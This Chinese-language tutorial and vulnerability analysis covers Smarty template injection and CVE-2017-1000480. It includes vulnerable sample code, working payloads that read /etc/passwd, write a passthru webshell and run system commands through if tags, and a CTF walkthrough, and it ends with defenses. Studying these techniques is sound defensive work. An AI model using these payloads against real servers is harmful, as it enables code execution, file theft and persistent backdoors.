Smarty模板注入&CVE-2017-1000480
字数 1233 2025-08-25 22:58:40
Smarty模板注入与CVE-2017-1000480漏洞分析
1. Smarty模板引擎简介
Smarty是PHP的一个模板引擎,用于将表示层(HTML/CSS)与应用程序逻辑分离。在3.1.42和4.0.2版本之前,存在安全漏洞允许攻击者通过恶意数学字符串执行任意PHP代码。
2. 模板类型识别方法
在攻击前需要确定模板类型,以下是识别方法:
第一层测试
- 执行
${77},如果有结果则进入第二层a{comment}b - 如果没有结果则进入第二层
{{77}}
第二层测试
- 在
a{*comment*}b中,如果{**}被当作注释而输出ab,则是Smarty模板 - 如果不能,进入第三层
{{7*7}}测试
第三层测试
{{7*'7'}}结果为49时是Twig模板- 结果为7777777时是Jinja2模板
- 能执行
${"z".join("ab")}时是Mako模板
3. Smarty漏洞成因
漏洞通常出现在以下代码中:
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // 漏洞点
}
当用户可控输入(如X-Forwarded-For头)直接传递给display()函数时,可能导致模板注入。
4. 攻击方式
4.1 获取类的静态方法
getStreamVariable()方法
public function getStreamVariable($variable) {
$_result = '';
$fp = fopen($variable, 'r+'); // 读取文件
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
// ...
}
利用方式:
{self::getStreamVariable("file:///etc/passwd")}
注意:此方法在3.1.30版本后已被移除。
writeFile方法
public function writeFile($_filepath, $_contents, Smarty $smarty) {
// 写入文件
}
利用方式:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
4.2 常用标签利用
-
获取版本号
{$smarty.version} -
执行PHP代码(Smarty3中已废弃)
{php}phpinfo();{/php} -
literal标签(可用于XSS)
{literal}alert('xss');{/literal} -
if标签执行命令
{if phpinfo()}{/if} {if readfile('/flag')}{/if} {if system('cat /flag')}{/if}
5. CVE-2017-1000480漏洞分析
5.1 漏洞环境
漏洞触发点代码:
<?php
define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));
define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');
define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');
include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');
class testSmarty extends Smarty_Resource_Custom {
protected function fetch($name, &$source, &$mtime) {
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>
5.2 漏洞利用链
display()方法调用_execute()_execute()调用createTemplate()- 模板编译过程中生成临时文件
- 临时文件内容包含用户可控输入
- 通过
eval()或include()执行临时文件
5.3 关键代码分析
在smarty_internal_runtime_codeframe.php中:
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
攻击者可利用注释闭合进行注入:
- 在payload前加
*/闭合前面注释 - 在payload后加
//注释掉后面内容
5.4 利用限制
- Windows平台下文件名不能包含
*,无法利用 - Linux平台下可成功利用
6. 实战案例:[NISACTF 2022]midlevel
-
识别Smarty模板:
- 使用
{*comment*}测试确认是Smarty
- 使用
-
获取版本:
{$smarty.version}返回3.1.30版本
-
利用方式:
- 不能使用
getStreamVariable()(版本限制) - 不能使用
{php}标签(版本限制) - 使用
if标签执行命令:{if system('cat /flag')}{/if}
- 不能使用
7. 防御措施
- 升级到最新版本Smarty
- 不要将用户输入直接传递给模板引擎
- 对用户输入进行严格过滤
- 禁用危险标签和函数